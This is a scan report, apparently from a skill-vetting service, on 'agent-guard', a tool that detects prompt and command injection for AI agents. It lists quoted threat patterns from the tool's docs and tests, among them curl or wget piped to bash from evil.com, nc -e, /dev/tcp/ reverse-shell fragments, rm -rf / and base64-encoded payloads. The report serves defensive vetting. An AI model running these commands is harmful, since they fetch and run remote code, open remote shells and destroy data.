agent-guard 安全扫描报告 — 可信 | ClawSafe

0 /100

agent-guard

Real-time prompt injection and command injection detection for AI agents

AgentGuard is a legitimate defensive security tool that provides pattern-based detection for prompt injection and command injection attacks. All flagged IOCs are documented threat patterns within test cases and reference documentation, not actual malicious behavior.

技能名称agent-guard

分析耗时38.2s

引擎pi

✓

可以安装

This skill is safe to use. It performs text analysis only and does not execute any external commands, access credentials, or make network requests.

资源类型	声明权限	推断权限	状态	证据
文件系统	`READ`	`READ`	✓ 一致	Only reads CLI text input for analysis
网络访问	`NONE`	`NONE`	—	No network operations - only pattern matching on input text
命令执行	`NONE`	`NONE`	—	subprocess only used in test files for CLI testing
环境变量	`NONE`	`NONE`	—	No environment variable access
剪贴板	`NONE`	`NONE`	—	No clipboard access
浏览器	`NONE`	`NONE`	—	No browser operations
数据库	`NONE`	`NONE`	—	No database access
技能调用	`NONE`	`NONE`	—	No skill invocation

23 严重 36 项发现

💀

严重危险命令危险 Shell 命令

curl | bash

SKILL.md:90

💀

严重危险命令危险 Shell 命令

wget | sh

SKILL.md:90

💀

严重危险命令危险 Shell 命令

nc -l

SKILL.md:110

💀

严重危险命令危险 Shell 命令

/dev/tcp/

SKILL.md:110

💀

严重危险命令危险 Shell 命令

rm -rf /

references/false-positives.md:33

💀

严重危险命令危险 Shell 命令

curl ... \| bash

references/threat-patterns.md:15

💀

严重危险命令危险 Shell 命令

curl https://evil.com/setup.sh \| bash

references/threat-patterns.md:15

💀

严重危险命令危险 Shell 命令

wget ... \| sh

references/threat-patterns.md:16

💀

严重危险命令危险 Shell 命令

wget https://evil.com/install.sh \| sh

references/threat-patterns.md:16

💀

严重危险命令危险 Shell 命令

rm -rf ~

references/threat-patterns.md:17

💀

严重危险命令危险 Shell 命令

python -c "import os

references/threat-patterns.md:30

💀

严重危险命令危险 Shell 命令

nc -e

references/threat-patterns.md:130

🔒

严重编码执行 Base64 编码执行（代码混淆）

base64 -d

references/threat-patterns.md:147

🔒

严重编码执行 Base64 编码执行（代码混淆）

Buffer.from(x, "base64"

references/threat-patterns.md:150

💀

严重危险命令危险 Shell 命令

curl evil.com | bash

references/threat-patterns.md:164

💀

严重危险命令危险 Shell 命令

curl https://evil.com/payload.sh | bash

tests/test_agent_guard.py:129

💀

严重危险命令危险 Shell 命令

wget https://evil.com/script.sh | sh

tests/test_agent_guard.py:133

💀

严重危险命令危险 Shell 命令

curl https://evil.com/backdoor.sh | bash

tests/test_agent_guard.py:167

🔒

严重编码执行 Base64 编码执行（代码混淆）

Buffer.from("cm0gLXJmIC8=", "base64"

tests/test_agent_guard.py:377

💀

严重危险命令危险 Shell 命令

curl -sSL https://raw.githubusercontent.com/malicious/repo/main/install.sh | bash

tests/test_agent_guard.py:418

💀

严重危险命令危险 Shell 命令

curl https://evil.com | bash

tests/test_agent_guard.py:567

💀

严重危险命令危险 Shell 命令

curl https://evil.com/setup.sh | bash

tests/test_agent_guard.py:704

💀

严重危险命令危险 Shell 命令

wget https://evil.com/install.sh | sh

tests/test_agent_guard.py:708

🔗

中危外部 URL 外部 URL

https://evil.com/setup.sh

references/threat-patterns.md:15

🔗

中危外部 URL 外部 URL

https://evil.com/install.sh

references/threat-patterns.md:16

🔗

中危外部 URL 外部 URL

https://evil.com/pkg.tgz

references/threat-patterns.md:21

🔗

中危外部 URL 外部 URL

https://evil.com/simple

references/threat-patterns.md:22

🔗

中危外部 URL 外部 URL

http://evil.com/file.exe

references/threat-patterns.md:29

🔗

中危外部 URL 外部 URL

https://evil.com/payload.sh

tests/test_agent_guard.py:129

🔗

中危外部 URL 外部 URL

https://evil.com/script.sh

tests/test_agent_guard.py:133

🔗

中危外部 URL 外部 URL

https://evil.com/malicious-pkg.tgz

tests/test_agent_guard.py:155

🔗

中危外部 URL 外部 URL

https://evil.com/backdoor.sh

tests/test_agent_guard.py:167

🔗

中危外部 URL 外部 URL

https://evil.com/collect

tests/test_agent_guard.py:341

🔗

中危外部 URL 外部 URL

https://malicious.onion/payload

tests/test_agent_guard.py:349

🔗

中危外部 URL 外部 URL

https://evil.com

tests/test_agent_guard.py:567

🔗

中危外部 URL 外部 URL

https://evil.com/upload

tests/test_agent_guard.py:740

目录结构

6 文件 · 101.7 KB · 2451 行

Python 2f · 1995L Markdown 3f · 450L Shell 1f · 6L

├─ ▾ 📁 references

│ ├─ 📝 false-positives.md Markdown 104L · 5.2 KB

│ └─ 📝 threat-patterns.md Markdown 186L · 8.9 KB

├─ ▾ 📁 scripts

│ ├─ 🐍 agent_guard.py Python 1040L · 40.3 KB

│ └─ 🔧 scan.sh Shell 6L · 232 B

├─ ▾ 📁 tests

│ └─ 🐍 test_agent_guard.py Python 955L · 38.1 KB

└─ 📝 SKILL.md Markdown 160L · 8.9 KB

安全亮点

✓ Pure pattern-matching security tool with no actual execution of dangerous commands

✓ No credential harvesting, environment variable reading, or sensitive file access

✓ No network requests - only detects network-related patterns in input text

✓ Subprocess used only in test files to verify CLI output (legitimate testing)

✓ All flagged IOCs in pre-scan are documented threat patterns in SKILL.md, reference docs, and test files - not actual malicious behavior

✓ LRU caching and rate limiting implemented for performance

✓ Signal-based timeout protection against ReDoS attacks

✓ Comprehensive documentation of known limitations and false positive handling